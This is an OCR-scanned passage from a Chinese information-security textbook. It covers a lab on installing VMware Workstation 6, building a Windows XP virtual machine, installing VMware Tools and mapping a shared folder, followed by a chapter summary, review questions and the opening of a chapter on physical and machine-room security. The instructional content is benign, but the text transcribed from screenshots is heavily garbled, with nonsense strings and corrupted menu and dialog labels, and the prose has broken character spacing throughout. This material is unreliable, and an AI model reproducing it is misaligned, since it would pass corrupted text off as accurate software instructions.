(6) 映射 共享 文件 夹 。 

4. 实 训 步骤 

1) VMware Workstation 6 的 安装 

VMware Workstation 6 软件 及 其 30 天 试用 注册 码 可 以 从 VMware 的 网 站 下 载 得 到 。 
试用 期 满 后 可 继续 申请 试用 注册 码 ,或 者 购买 VMware Workstation 6 产品 序列 号 。 当 然 ， 
VMware Workstation 6 的 安装 软件 也 可 以 从 各 大 下 载 站 点 下 载 得 到 。 

安装 VMware Workstation 6 的 主机 ,要 求 其 性 能 稳定 ,因此 最 好 是 一 台新 安装 操作 系 
统 的 主机 ,并 且 已 安装 最 新 补丁 。 作 为 主机 ,推荐 只 安装 必需 的 软件 ,如 Office 等 ,不 推荐 
在 主机 上 安装 无 用 的 软件 。 如 果 要 测试 或 学 习 , 建 议 在 虚拟 机 中 进行 ,以 防止 对 主机 操作 系 
统 造成 破坏 。 由 于 虚拟 机 要 占用 大 量 的 硬盘 空间 ,因此 要 为 虚拟 机 保留 至 少 10GB 的 硬盘 空间 。 

首先 看 一 下 VMware Workstation 6 在 Windows XP Professional 操作 系统 上 的 安装 
过 程 ,安装 步骤 如 下 。 

第 1 步 : 运行 VMware Workstation 6 安装 程序 ,进入 VMware Workstation 6 安装 向 
导 界 面 , 单 击 Next 按钮 ,如 图 1-6 所 示 。 

第 2 步 : 在 Setup Type 对 话 框 中 ,选择 安装 类 型 。 这 里 选择 Custom 安装 , 单 击 Next 
按钮 ,如 图 1-7 所 示 。 

第 3 步 : 在 Custom Setup 对 话 框 中 ,取消 Integrated Virtual Debuggers 的 安装 。 也 可 
以 单 击 Change 按钮 ,改变 虚拟 机 的 安装 路 径 , 单 击 Next 按钮 ,如 图 1-8 所 示 。 

第 4 步 : 在 Configure Shortcuts 对 话 框 中 ,选择 要 创建 的 VMware Workstation 6 的 快 
捷 方式 的 位 置 ,默认 情况 下 将 在 “桌面 "“ 开 始 菜单 ”和 “快速 启动 栏 ” 中 创建 , 单 击 Next 按 
钮 ,如 图 1-9 所 示 。 

第 5 步 : 在 Ready to Install the Program 对 话 框 中 , 单 击 Install 按钮 开始 安装 ,如 
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IES] 


‘Welcome to the Installation Wizard for 
VMware Workstation 


The installation wizard wil install VMware Workstation on your 
computer. To continue, chck Next: 


VMware 
Workstation 6 WARNING: This program is protected by copyright law and 


international treaties. 


图 1-6 安装 向 导 界 面 


Setup Type 
Choose the setup type that best suts your needs. 


Please select a setup type, 
O Typical 
2 Typical program features will be installed, 


Euston 
Choose which program features you want installed and where they 
wil be installed. Recommended for advanced users, 


<Back Next > Cancel 


图 1-7 选择 安装 类 型 


Custom Setup 
Select the program Features you want installed. 


‘Click on an icon in the list below to change how a feature is installed, 


= Feature Description 


Integrated Virtual Debuggers Core components 


X_~| Eclipse IDE Plugin 


This feature requires 614MB on 
your hard drive. 


Install to: 
C:\Program Files\vMware\vMware Workstation [ghanoe.. ] 


[bp ][L xe ][L <Bk jwxt> ][ cancet 


18 定制 安装 方式 设置 
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i9 Vivare Workstation 


Configure Shortcuts 
Creates program shortcuts 


Create shortcuts for VMware Workstation in the following places: 


7] Desktop 


(¥) Start Menu Programs folder 


[V] Quick Launch toolbar 


<Back 


图 1-9 创建 快捷 方式 


图 1-10 所 示 。 


i@ YEvare Workstation 


Ready to Install the Program 
The wizard is ready to begin installation, 


Click Install to begin the installation. 


Tf you want to review or change any of your installation settings, click Back. Click Cancel to 
exit the wizard, 


(instal J (__cancel 


1-10 开始 安装 


第 6 步 : 在 Registration Information 对 话 框 中 ,输入 用 户 名 、 单 位 及 序列 号 等 信息 , 单 
击 Enter 按钮 ,如 图 1-11 firm. 

第 7 步 : 单 击 Finish 按钮 ,完成 安装 ,如 图 1-12 所 示 。 

第 8 步 : 安装 完成 后 ,在 最 后 弹出 的 对 话 框 中 选择 是 否 重新 启动 计算 机 ,由 于 VMware 
Workstation 6 不 需 重新 启动 计算 机 也 能 使 用 ,因此 单 击 No 按钮 ,如 图 1-13 所 示 。 

第 9 步 : 返回 桌面 单 击 快捷 方式 即 可 进入 VMware Workstation 6 主 程序 。 第 一 次 使 
用 时 会 出 现 “ 批 准 协 议 ” 对 话 框 ,选中 “我 同意 批准 协议 中 的 条 款 ” 单 选 按 钮 表示 接受 协议 , 然 
后 单 击 “确定 ”按钮 ,如 图 1-14 所 示 。VMware Workstation 6 即 安装 成 功 。 
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= 
if Vivare Workstation 


Registration Information 
(optional) You can enter this information later. 


User Name: 


[Lenovo User 


‘Company: 
JLenovo (Beijing) Limited 


Serial Number: (XXXXX-XXXXX-XXXXK-XXXXX) 


图 1-11 输入 注册 信息 


{@ Vivare Workstation (x) 


Installation Wizard Completed 


The installation wizard has successfully installed VMware 
Workstation. Click Finish to exit the wizard, 


VMware 
Workstation 6 


1-12 安装 结束 


ig Vware Workstation 


‘You must restart your system for the configuration 
changes made to VMware Workstation to take effect. 
Click Yes to restart now or No iF you plan to restart 
later. 


图 1-13 选择 不 重新 启动 计算 机 


18 


FOR VMWARE DESKTOP SOFTWARE PRODUCT 


VMWARE, INC. LICENSES THIS DESKTOP SOFTWARE 
PRODUCT TO YOU SUBJECT TO THE TERMS CONTAINED 

IN THIS END USER LICENSE AGREEMENT ("EULA"). READ 
THE TERMS OF THIS EULA CAREFULLY. BY INSTALLING, ~ 
OVes, I accept the terms in the icense agreement) 

(O No, 1 do not accept the terms in the icense agreement 


| 
END USER LICENSE AGREEMENT a 


Comal] 
图 1-14 接受 批准 协议 


2) 使 用 VMware 组装” 虚拟 计算 机 

使 用 VMware 组 装 虚拟 机 的 具体 步骤 如 下 。 

第 1 步 : 启动 VMware Workstation 6 , 单 击 " 文 件 ” 一 新建” 虚拟 机 ?命令 ,进入 新 
建 虚拟 机 向 导 ; 在 欢迎 来 到 新 建 虚拟 机 向 导 中 , 单 击 * 下 一 步 按 钮 ,如 图 1-15 所 示 。 


新 建 虚拟 机 向 导 E3] 


欢迎 来 到 新 建 虚 拟 机 向 导 


该 向 导 将 会 帮助 你 创建 一 台新 的 虚拟 机 。 


VMware — 


oa 


图 1-15 新 建 虚拟 机 向 导 


第 2 步 ; 在 弹出 的 “选择 合适 的 配置 ”对 话 框 中 的 “虚拟 机 配置 "选项 区 域内 有 “典型 "和 
“ 自 定义 ”两 种 安装 方式 ,其 中 “典型 "安装 方式 是 指使 用 最 常用 的 设备 与 配置 来 创建 一 个 新 
虚拟 机 。 如 果 需 要 创建 一 个 包含 附加 设备 或 指定 配置 选项 或 者 想 要 创建 一 个 与 指定 硬件 兼 
容 的 虚拟 机 ,那么 应 选择 自 定义 ”安装 方式 。 这 里 选择 “典型 "安装 方式 ,然后 单 击 “ 下 一 步 ” 
按钮 ,如 图 1-16 所 示 。 

第 3 步 : 在 “选择 一 个 客户 机 操作 系统 ”对 话 框 中 ,选择 创建 的 虚拟 机 将 要 运行 的 操作 
系统 ,这 里 选中 “Microsoft Windows” 单 选 按 钮 。 在 “版 本 ”下 拉 列 表 框 中 选择 相应 的 版 本 
号 ,这 里 选择 “Windows XP Professional” 选 项 , 单 击 “ 下 一 步 " 按 钮 ,如 图 1-17 所 示 。 
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新 建 虚拟 机 向 导 K 


选择 合适 的 配置 
你 想 要 如 何 配置 你 的 新 虚拟 机 ? 


虚拟 机 配置 


ret ned henchmen coe 
confi guration options. 


This Workstation 6.x virtual machine will not be compatible 
with ESX Server 3.x, Server 1.x, ACE 1.x, Workstation 5.x or 
older versions, 


OBEX ©) 
Choose this option if you need to create a virtual machine with 
tional devices or specific configuration options, or if you 
sa to create a virtual machine with specific hardvar 


图 1-16 选择 安装 方式 


WRENS 区 


选择 一 个 客户 机 操作 系统 
你 想 要 在 该 虚拟 机 上 安装 哪 一 个 操作 系统 ? 


客户 机 操作 系统 


ONovell NetWare 
OSun Solaris 
OK 


版 本 四 
[Windows XP Professional w% 


图 1-17 选择 客户 机 操作 系统 


第 4 步 : 打开 “虚拟 机 名 称 ” 对 话 框 ,在 “虚拟 机 名 称 ” 文 本 框 中 设置 所 创建 的 虚拟 机 的 
名 称 , 默 认 情况 下 是 所 和 运行 的 操作 系统 的 名 字 , 为 在 以 后 实验 中 的 称呼 方便 ,这 里 输入 
“WinXP”; 在 "位 置 "文本 框 中 输入 虚拟 机 的 工作 路 径 ,或 单 击 “ 浏 览 ? 按 钮 进行 选择 ,再 单 击 


“下 一 步 ? 按 钮 ,如 图 1-18 所 示 o 


第 5 步 : 打开 “网 络 类 型 "对 话 框 ,在 “网 络 连接 "选项 区 域 中 选中 “使 用 网 络 地 址 翻译 


(NAT)" 单 选 按钮 , 单 击 “ 下 一 步 ” 按 钮 ,如 图 1-19 所 示 。 


第 6 步 : 打开 ”指定 磁盘 容量 对话 框 ,在 “磁盘 大 小 "文本 框 中 设置 虚拟 机 的 磁盘 大 小 ， 


可 以 根据 需要 设置 ,然后 单 击 “ 完 成 ”按钮 ,如 图 1-20 所 示 。 
第 7 步 : 至 此 虚拟 机 创建 完成 ,如 图 1-21 所 示 。 
3) 在 虚拟 机 中 重新 安装 操作 系统 
在 虚拟 机 中 安装 Windows XP Professional 的 具体 步骤 如 下 。 


第 1 步 : 选中 “WinXP” 虚 拟 机 ,然后 单 击 “ 命 令 ” 中 的 “启动 该 虚拟 机 ”命令 ,如 图 1-22 所 示 。 
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新 建 谍 拟 机 向 导 
= 


扳机 名 称 
你 想 要 让 该 虚拟 机 使 用 什么 名 称 ? 


虚拟 机 名 称 四 
WinXP 


taU 
D:\My Documents\My Virtual Machines\WinXP pie @) 


< ES] (ma) 


图 1-18 设置 虚拟 机 名 称 和 路 径 


新 建 虚拟 机 向 导 


网 络 类 型 
你 想 要 添加 哪 种 类 型 的 网 络 ? 


网 络 连 接 


Ree eae es 个 外 部 以 大 网 网。 在 外 部 网络 中 E 
Pawnee E RE : : 


© 
IP 地 址 访问 主机 电脑 的 拨号 或 外 部 以 


OWM Host-omly 网 络 
使 用 一 个 私有 的 虚拟 网 络 将 客户 机 拘 作 系统 与 主机 电脑 进行 连接 。 


OFA PRED) 


图 1-19 设置 网 络 类 型 


新 建 虚拟 机 向 导 


指定 磁盘 容量 
你 想 要 格 该 磁盘 设置 为 多 大 ? 


磁盘 容量 
虚拟 磁盘 不 能 大 于 你 在 下 方 设置 的 最 大 容量 大 小 . 
BANS) Ge): [ 9.0/5) 
oi W PR 
P ee eae 
Tan a 
OHARRA 2 xE 


取消 


图 1-20 指定 虚拟 机 磁盘 大 小 和 磁盘 属性 
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WinkP - YEware Forkstation 
i ME) 编辑 人 E) Bw 虚拟 机 如 Ba) BOM) 帮助 加 
[mure Gan: 
侧 边 栏 x 
D Powered On 


电源 已 关闭 

Windows XP Professional 

D:\My Documents\My Virtual Machines\WinXP\Windows XP Professio 
Workstation 6.x virtual machine 


设备 


启动 该 虚拟 机 国 wenory 256 MB 
D sacres Hard Disk M... 9.0 GB 


@ amenn @co-rom cmz Auto detect 
Broppy Auto detect 


Ethernet NAT 

USB Controller Present 
@)sound Adapter Auto detect 
Bhispley Auto detect 
@ Processors 1 


Ea 
在 这 里 为 虚拟 机 输入 注释 


a 


1-21 虚拟 机 创建 完成 


ee MQ FEW Sw SD BOW Rhy 


ju > e;n jae oe 
D Povered On 站 
日 @ Favorites WinXP 


RS 电源 已 关闭 
客户 机 换 作 系 统 : Vindows XP Professional 
配置 文件 D: Viy Documents\My Virtual Machines\WinXP\Windows XP Professional. vax 


版 本 : Workstation 6.x virtual machine 

a 设备 

b 启动 汪 虚 哲 机 Brors 255 m 

D sacer rd Disk (DE 0:0) 9.0 

前 zman CD-30g CIDE 1:0) Auto detect E 

Floppy Anto detect 

Ethernet NAT 
Q'E Controller Present 
Sound Adapter Ante detect 
Boisply Auto detect 

ew cursors 1 

在 这 里 为 虚拟 机 输入 注释 


1-22 启动 虚拟 机 


~ 
N 
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第 2 步 : 在 WinXP-VMware Workstation 对 话 框 中 单 击 *Yes” 按 钮 ,如 图 1-23 所 示 。 


D Powered On 
Brine 
E @ Favorites 


& vine 


FinkP 一 YEware ¥orkstation 
XPO REO SEV Siw HE BOW Hho 
C A 6@B Dee ces 


Yindows XP Professional 


FF ‘D:\lly Docunents\Mly Virtual Machines \WinXP Windows XP Professional. vmx 
版 本 Workstation 6.x virtual machine 


WinkP - YEware Vorkstation 


2) Comot connect virtual device flopyy0, No corresponding device ix 


Would you Like an attempt to be made to connect this virtual device 
avery time you pover on the virtual machine? 


Ew z 
EREJEMURANEE 


om Ama © 


接 下 来 的 安装 过 程 
- 步 作 为 示例 ,如 图 1-2 


WinXP - Vivare Workstation 


XO RED EEV 
2 u[> eo O& 


mizë 

日 Powered On 
@ tine 

I Favorites 
@ tiae 


1-23 ”连接 虚拟 机 


就 和 在 一 台 真正 的 计算 机 上 安装 操作 系统 是 一 样 的 ,这 里 取 其 中 的 


4 所 示 o 


DER 
EMO HED wow MW 
anma omea 

x 


9) 


(A Ware Tools is not installed in this quest. Choose “Install Wiiware Tools’ from the W menu. 


coga) 


1-24 选择 安装 程序 
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4) 安装 VMware Tools 

在 虚拟 机 中 安装 VMware Tools 的 具体 步骤 如 下 。 

第 1 步 : 运行 虚拟 机 的 操作 系统 ,本 例 是 运行 在 虚拟 机 操作 系统 WinXP 之 上 的 。 按 下 
Ctrl 十 Alt 组 合 键 ,释放 鼠标 和 键盘 回 到 主机 , 单 击 菜单 栏 上 的 “虚拟 机 ”菜单 ,在 弹出 的 下 拉 
菜单 中 选择 “安装 VMware Tools” 选 项 ,如 图 1-25 所 示 。 


WinXP - Vivare Workstation 


RHO) HG) SEV | Janv sow 帮助 名 


B ubo GAI A > 
ae 可 移动 设备 四) > 
日 D Powered On eR QD a 
@ Ha EW > 
I @ Favorites RO) 
@ tine 


发 送 Ctrl+Alt+Del © 
BERA O Curlt6 


MARR O 
MAR W. 


mens 
| ame. 


a ] ce 
CITT TE 


(A vare Tools is not installed in this quest, Choose “Install Viware Tools” from the Wi menu. 


1-25 安装 VMware Tools 


第 2 步 : 这 时 会 弹出 一 个 对 话 框 , 警 告 VMware Tools 应 该 在 客户 机 运行 时 安装 , 单 击 
Install 按钮 ,如 图 1-26 所 示 。 


WinkP - Vivare Workstation 


p} Installing the Wiware Tools package will greatly enhance graphics and 
Y mouse performance in your virtual machine 


WARNING: You cannot install the Ware Tools package until the guest 
operating system is running. If your guest operating system is not 
running, choose Cancel and install the Vlware Tools package later. 


图 1-26 安装 信息 


第 3 46: Æ Welcome to the installation wizard for VMware Tools 对 话 框 中 . i Next 
按钮 ,如 图 1-27 所 示 。 

第 4 步 : 在 Setup Type 对 话 框 中 ,选择 Typical 安装 类 型 , 单 击 Next 按钮 ,如 图 1-28 
所 示 。 
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WinXP Vivare Workstation 
文件 下) Sw SEW Siw 240 sow 帮助 如 
a0/>|\6 8GR Dee oF 
maž 
B D Povered On 
@ am 
日 Favorites 
@ tine 
Vivare Tools 
Welcome to the installation wizard for 
VMware Tools 
The instalation wizard wl install VMware Tools on your 
computer. To continue, cick Next, 
WARNING: This program is protected by copyright law and 
international treaties. 
a 
(A Vivare Tools is not installed in this quest, Choose “Install Wirare Tools” from the W menu or ral 


1-27 VMware Tools 安装 向 导 


WingP - Vivare Yorkstation 
HO MO BEY Sty HD BAM EHV 
a upe BAB m 回回 图 


nts < PE 
2 P Povered On 


@ rine 


B® Favorites 
@ time 


间 Vivare Tools 


Please select a setup type. 
ima 
J lnstaks the program features used by this VMware product only. Select 
this option É you intend to run this virtual machine only with thes VMware 
product. 


OComplete 


Installs all program Features, Select this option if you intend to run 
this virtual machine on mitiple VMware products. 


Ocustom 
Lets you choose which program features to install and where to 
install them. Only advanced users should select this option. 


Ca) 


Wiiware Tools is not installed in this guest Choose “Install ile 


1-28 选择 安装 类 型 


第 1 章 信息 安全 概述 


25 


第 5 步 : 在 Ready to Install Program 对 话 框 中 , 单 击 Install 按钮 开始 
图 1-29 所 示 。 


进行 安 


文件 四 


SED SEV SMY HD MV Bho 

m ulpe nan Hae oe 

ane r 

日 Powered On 
@ rir 

1B @ Favorites 
@ rine 


Ckck Install to begin the installation, 


IF you want to review or change any of your installation settings, ciek Back. Cick Cancel to 
ext the waard. 


| Wr Tooke in not instalat in this guest. Choose “Install Vivare Tools” Grow Whe WW wan 
1-29 开始 安装 


第 6 
图 1-30 所 示 。 


Winkp — Vivare Workstation 
ET 
PO COD Dee 器 回国 
j x 


8 00 


Powered On 


@ in 


B @ Favorites 


@ ni 


IÈ Vivare Tools 


Installation Wizard Completed 


The instalation wizard has successful installed VMware Tools. 
Chek Frish to eat the wizard 


TT 


图 1-30 安装 结束 


装 ,如 


步 : 在 Installation Wizard Completed 对 话 框 中 , 单 击 Finish 按钮 完成 安装 ,如 


信 
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第 7 步 : 在 弹出 的 对 话 框 中 , 单 击 Yes 按钮 重新 启动 虚拟 机 ,如 图 1-31 所 示 。 


Vink? — Wiere Workstation 
文件 四” s0 EV Siw JHE BOW HHO 
s ube Gan maa ooe 

ints x PE 

E D Povered On 


Brine 
B @ Favorites 
@ ia 


‘You must restart your system for the configuration 
changes made to VMware Tools to take effect. Clck 
Yes to restart now or No f you plan to restart later. 


jare Tools installed successfully. 


图 1-31 选择 重新 启动 虚拟 机 
第 8 步 VMware Tools 安装 成 功 , 如 1-32 所 示 。 


Fint tation 
文件 于) REO FEV 虚拟 机 SD BOM) hop 
a uoe Ga Dee oma 
mnt xB 
E P Powered On 
B tie 
B @ Favorites 
@ tine 
[vare Tools installed successfully. sthaws 2 


图 1-32 VMware Tools 安装 成 功 后 的 虚拟 机 
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5) 设置 共享 文件 夹 

设置 共享 文件 夹 的 步骤 如 下 。 

第 1 步 : 单 击 “ 虚 拟 机 ”菜单 下 的 “设置 "命令 ,如 图 1-33 所 示 。 在 打开 的 Virtual 
Machine Settings 对 话 框 中 ,选择 Options 选项 卡 , 在 此 选项 卡 内 单 击 Shared Folders 项 , 然 
后 在 右 侧 的 “文件 夹 ”选项 区 域内 单 击 “ 添 加 ”按钮 ,如 图 1-34 所 示 。 


WinkP - Vivare Workstation 
XO REO BFW smn sow Hho 
jm opjage] o p 
me 1 TEREE E) > 
E D Povered On Bay » 
@ rine Eso > 
BO Feverites RRO 
@ tine 


安装 Wears Tools Q). 


发 送 cerltaetDe @) 
MERA] CtrlHG 


MRE O 
MRR 


LLEGE] 


[rare Tools installed successfully, 


图 1-33 “虚拟 机 ?菜单 


[Hardware] Options 


Settings ‘Summary 文件 突 共 可 

eco |a SENET uou 
D Power ERRER ZA 

E Shed Folders Disabled 

(@DSnapshot/Replay 7 v 

Bi Guest Isolation Enabled, Enabled OSXBHO) 

(Boots Preference | ， 〇 在 下 次 电源 关闭 或 挂 起 前 启用 W 

国 Remote Display Disabled | Rw 

Appliance View Disabled 

advanced NomalNomal Soe Host Poth 


Cox Cancel Help 


1-34 Options 选项 卡 
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第 2 步 : Æ Add Shared Folder Wizard 对 话 框 中 , 单 击 Next 按钮 ,继续 添加 ,如 图 1-35 
所 示 。 


欢迎 来 到 添加 虚拟 机 文件 夹 
向 导 


eA 会 帮助 你 添加 一 个 新 的 共享 文件 : 


VMware 
Workstation 6 


图 1-35 添加 虚拟 机 文件 夹 向 导 


第 3 步 : 在 打开 的 Name the Shared Wizard 对 话 框 的 “名 称 ” 文 本 框 中 设置 共享 名 称 ， 
在 此 输入 “testfolder”, 然 后 单 击 “ 浏 览 ” 按 钮 ,如 图 1-36 所 示 。 


Add Shared Folder Wizard 


Name the Shared Folder 
What would you like to call this shared folder 


ERA 

[Lestfodder 

主机 文件 夹 和 ) 

I 
[<Back ][ Next > Cancel 


图 1-36 设置 共享 文件 夹 名 称 
第 4 步 : 在 弹出 的 “浏览 文件 夹 ” 对 话 框 中 选择 要 共享 到 虚拟 机 中 的 主机 文件 
“确定 ”按钮 ,如 图 1-37 所 示 。 
第 5 步 : 设置 共享 文件 夹 名 称 及 选择 文件 夹 后 , 单 击 Next 按钮 ,如 图 1-38 所 示 
第 6 步 : Æ Specify Shared Folder Attributes 对 话 框 中 ,选择 “附件 属性 ”, 这 里 选中 “ 启 
用 该 共享 ” 复 选 框 。 单 击 Finish 按钮 ,如 图 1-39 所 示 。 
第 7 步 : 最 后 返回 到 Virtual Machine Settings 对 话 框 ,在 “文件 夹 共 享 ” 选 项 区 域内 选 


* 
$ 
出 


7 
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Add Shared Folder Wizard [x] 


Hame the Shared Folder 
What would you like to call this shared folder 


ERW 
testfolder 


Browse for a Host Folder 


SARA W 
5% 本地 磁盘 0:) D: \sofi f 
B È y Documents soft 
m Ò remain 


ao HEDER E 
a OHRI 

ao Kt 

田 回 投稿 a 


HELFA W (az) Ris ] <Back )( Next > )( Cancel 


图 1-37 浏览 主机 要 共享 的 文件 夹 图 1-38 选择 文件 夹 完成 


Add Shared Folder Wizard 


Specify Shared Folder Attributes 
What is the scope and lifetime of this shared folder? 


附件 属性 


CEREZO) 
RB 


图 1-39 设置 共享 权限 


6) 映射 共享 文件 夹 

映射 共享 文件 夹 的 步骤 如 下 。 

第 1 步 : 进入 虚拟 机 后 ,打开 “资源 管理 器 ”对 话 框 ,在 这 里 会 看 到 刚才 共享 的 文件 夹 
“soft”, 右 击 “Shared Folders” 文 件 夹 , 从 弹出 的 菜单 中 选择 “映射 网 络 驱 动 器 ”选项 ,如 
图 1-41 所 示 。 

第 2 步 : 在 弹出 的 “映射 网 络 驱 动 器 ”对 话 框 中 选中 “登录 时 重新 连接 ” 复 选 框 , 单 击 “ 完 
成 ”按钮 ,如 图 1-42 所 示 。 
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Virtual Machine Settings 


Hardware | Options 


Settings Summary lifer F = 
dives wn a EEEE 
D Power he MRE AROEN ABAR 
Shared Folders Disabled FR 
(@Snapshot/Replay OFF a) 
By Guest Isolation Enabled, Enabled Oss8hw 
@ Took: Preference 人 在 下 次 电源 关闭 或 挂 起 前 启用 V 
Remote Display Disabled XER H 
(Appliance View Disabled = HARE 
jane jost Pat 
l Advanced Nomal/Normal De 


Baw | (RED 


图 1-40 添加 共享 文件 夹 完成 


WinXP - Vivare Workstation 


文件 中) MEO SFO 虚拟 机 如 BHD Sow Ho 
im Pe Cap 
maž 
S P Powered On 
@ tine 
& @ Favorites XO RAG) FEW RA IAV WHW 
@ vine a 
Qa- 0- p Ans iea | 
HED [69 \\. host\Shared Folders Bra 
xR x > 
EE p G testfolder 
CE ELES- a) 
BS see C) 
@ Q o-r Bi 0 王 
aorin a) | FAW 
BS 本 地 磁盘 F) P 
aD remt 资源 管理 器 OO) 
打开 @) 
CIS 共享 文档 RED 
BD schy 的 文档 
eg Der 映射 网 络 驱 动 器 W). 
Er Eili 
BQ Microsoft tin FWD 
B O Vivare Shared SUO 
a B dost RED 
eg 
O testfole 
@ ma 
WWifware Tools installed successfully. ET TE 


1-41 在 虚拟 机 中 打开 映射 网 络 并 映射 
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AN abs 


Windows 可 以 帮助 您 连接 到 共享 的 网 络 文件 来， 并 给 
该 连接 指派 一 个 张 动 器 号 ， RIESA A “RAIE 
Ba” WIAA. 


请 为 要 连接 到 的 连接 和 文件 来 指定 驱动 器 号 : 


驱动 器 四) 
AK ©): 


例如 : \\server\share 

回 登 录 时 重新 连接 Q) 

使 用 其 她 用户 名 进行 连接 。 

注册 联机 存储 或 注 接 到 网 络 服务 器 。 


v CR 


1-42 将 主机 提供 的 共享 映射 为 盘 符 


第 3 步 : 在 打开 *Z” 盘 后 , 单 击 工具 栏 中 的 “文件 夹 "按钮 ,启用 “资源 管理 器 "， 如 


图 1-43 所 示 。 


© WinkP - Vivare Workstation 


a ubj CGR 
miii 
& P Powered On 


® tine 
B @ Favorites 
@ tin 


文件 下 编辑 EE) EV Sw BD BOW hw 


Dae oes 


".host” 上 的 Shared Folders (Z:) (X 
D SED EEV BRU IAD HW & 
Oa- O- A Ar |e m 
wiw |22: pra 
RAR a 
EEL a CJ test folder 

@ Aas *S A) 
are C) 

@ Q Dm-RA 363b 0:) 


Be sie E) 
Be SHS F) 


B O rchy 的 文档 
s Q 同上 分 居 
日 grins 
国 @ Microsoft Windows 
日 @ Wivare Shared Fol 
B P -host 
SB Shared Foley 


Be’ host’ 上 的 Sha 


[Vivare Tools installed successfully. 


图 1-43 启用 “文件 夹 视图 ”方式 


第 4 步 : 设置 共享 文件 夹 完 成 后 ,就 可 以 将 主机 磁盘 中 的 文件 复制 到 共享 文件 夹 中 了 ， 


如 图 1-44 所 示 。 
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= WinXP - Vivare Workstation 
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ware Tools installed successfully. 


图 1-44 将 主机 磁盘 中 的 文件 复制 到 共享 文件 来 


本 章 小 结 


(1) 信息 安全 基本 概念 及 需求 包括 信息 安全 的 含义 、 信 息 安 全 的 需求 以 及 研究 信息 安 
全 的 必要 性 3 方面 内 容 。 信 息 安全 问题 分 为 3 个 层次 : 信息 自身 安全 性 ,信息 系统 安全 性 、 
某 些 信息 的 传播 对 社会 造成 的 不 良 影响 。 

(2) 信息 安全 环境 及 现状 包括 信息 安全 的 威胁 .信息 安全 的 目标 以 及 网 络 安全 技术 发 
展 的 趋势 3 个 方面 的 内 容 。 信 息 安 全 的 研究 内 容 非 常 广泛 ,涉及 网 络 信息 的 完整 性 .保密 
性 、 真 实 性 、 可 用 性 、 占 有 性 和 可 控 性 的 相关 技术 和 理论 。 

O) 引起 网 络 不 安全 的 原因 有 内 因 和 外 因 之 分 。 内 因 是 指 网 络 和 系统 的 自身 缺陷 与 脆 
弱 性 ,外 因 是 指 国 家 政治 .商业 和 个 人 的 利益 冲突 。 归 纳 起 来 ,导致 网 络 不 安全 的 根本 原因 
是 系统 漏洞 .协议 的 开放 性 和 人 为 因素 。 网 络 的 管理 制度 和 相关 法 律 法 规 的 不 完善 也 是 导 
致 网 络 不 安全 的 重要 因素 。 

A) 信息 安全 体系 结构 包括 OSI 安全 体系 结构 .TCP/IP 安全 体系 结构 \ 信 息 安全 保障 
体系 以 及 网 络 信息 安全 系统 设计 原则 4 方面 的 内 容 。 网 络 信息 安全 系统 在 设计 过 程 中 应 该 
遵循 以 下 9 项 原则 : 木 桶 原则 ; 整体 性 原则 ; 安全 性 评价 与 平衡 原则 ; 标准 化 与 一 致 性 原 
则 ; 技术 与 管理 相 结合 原则 ; 统筹 规划 与 分 步 实施 原则 ; 等 级 性 原则 ; 动态 发 展 原则 ; 易 操 
作 性 原则 。 
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= 


. 网 络 的 不 安全 因素 有 哪些 ? 
.信息 安全 面临 哪些 威胁 ? 

. 信息 安全 的 需求 有 哪些 ? 

. 分 析 计 算 机 网 络 安全 技术 的 发 展 趋势 。 

. 人 们 为 什么 要 研究 信息 安全 呢 ? 

.信息 安全 研究 分 为 哪些 方面 的 内 容 呢 ? 

.信息 安全 问题 分 为 哪 几 个 层次 呢 ? 

.网 络 信息 安全 系统 在 设计 过 程 中 应 该 遵循 哪些 原则 呢 ? 
. 信息 安全 的 目标 是 什么 ? 


第 2 章 物理 安全 体系 


物理 安全 是 指 为 了 保证 计算 机 系统 安全 可靠 地 运行 ,确保 系统 在 对 信息 进行 采集 、 传 
输 、 存 储 、 处 理 、 显 示 、 分 发 和 利用 的 过 程 中 ,不 会 受到 人 为 或 自然 因素 的 危害 而 使 信息 丢失 、 
泄露 和 破坏 ,对 计算 机 系统 设备 .通信 与 网 络 设备 .存储 媒体 设备 和 人 员 所 采取 的 安全 技术 
措施 。 物 理 安全 主要 考虑 的 问题 是 环境 .场地 和 设备 的 安全 及 物理 访问 控制 和 应 急 处 置 计 
划 等 。 物 理 安全 在 整个 计算 机 网 络 信息 系统 安全 中 占有 重要 地 位 。 它 主要 包括 环境 安全 、 
设备 安全 和 媒体 安全 3 个 方面 。 


2.1 环境 安全 


环境 安全 是 指 对 系统 所 处 环境 的 安全 保护 ,如 设备 的 运行 环境 需要 适当 的 温度 、 湿 度 ， 
尽量 少 的 烟尘 ,不 间断 电源 保障 等 。 计 算 机 系统 硬件 由 电子 设备 .机 电 设备 和 光 磁 材料 组 
成 。 这 些 设备 的 可 靠 性 和 安全 性 与 环境 条 件 有 着 密切 的 关系 。 如 果 环 境 条 件 不 能 满足 设备 
对 环境 的 使 用 要 求 ,物理 设备 的 可 靠 性 和 安全 性 就 会 降低 , 轻 则 造成 数据 或 程序 出 错 、 破 坏 ， 
重 则 加 速 元 器 件 老化 ,缩短 机 器 寿命 ,或 发 生 故 障 使 系统 不 能 正常 运行 ,严重 时 还 会 危害 设 
备 和 人 员 的 安全 。 环 境 安全 技术 是 指 确保 物理 设备 安全 ,可 靠 运 行 的 技术 .要 求 、 措 施 和 规 
范 的 总 和 ,主要 包括 机 房 安全 设计 和 机 房 环境 安全 措施 。 


2.1.1 机 房 安全 设计 


计算 机 系统 中 的 各 种 数据 依据 其 重要 性 ,可 以 划分 为 不 同等 级 ,需要 提供 不 同 级 别 的 保 
护 。 如 果 对 高 等 级 数据 采取 低 水 平 的 保护 ,就 会 造成 不 应 有 的 损失 ; 相反 ,如 果 对 低 等 级 的 
数据 提供 高 水 平 的 保护 ,又 会 造成 不 应 有 的 浪费 。 因 此 ,应 根据 计算 机 机 房 视 其 管理 的 数据 
的 重要 程度 规定 不 同 的 安全 等 级 。 

1. 机 房 安 全 等 级 

机 房 的 安全 等 级 分 为 A 类 、B 类 和 C 类 3 个 基本 类 别 。 

(1) A 类: 对 计算 机 机 房 的 安全 有 严格 的 要 求 , 有 完善 的 计算 机 机 房 安 全 措施 。 

(2) BÆ: 对 计算 机 机 房 的 安全 有 较 严 格 的 要 求 ,有 较 完 善 的 计算 机 机 房 安全 措施 。 

(3) C 类 : 对 计算 机 机 房 的 安全 有 基本 的 要 求 , 有 基本 的 计算 机 机 房 安全 措施 。 

各 等 级 划分 情况 如 表 2-1 所 示 。 
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R21 计算 机 机 房 安全 要 求 


安全 项 目 A 级 机 房 B 级 机 房 C 级 机 房 
场地 选择 = = 


空调 系统 

火灾 报警 及 消防 设施 
防水 

防 静 电 

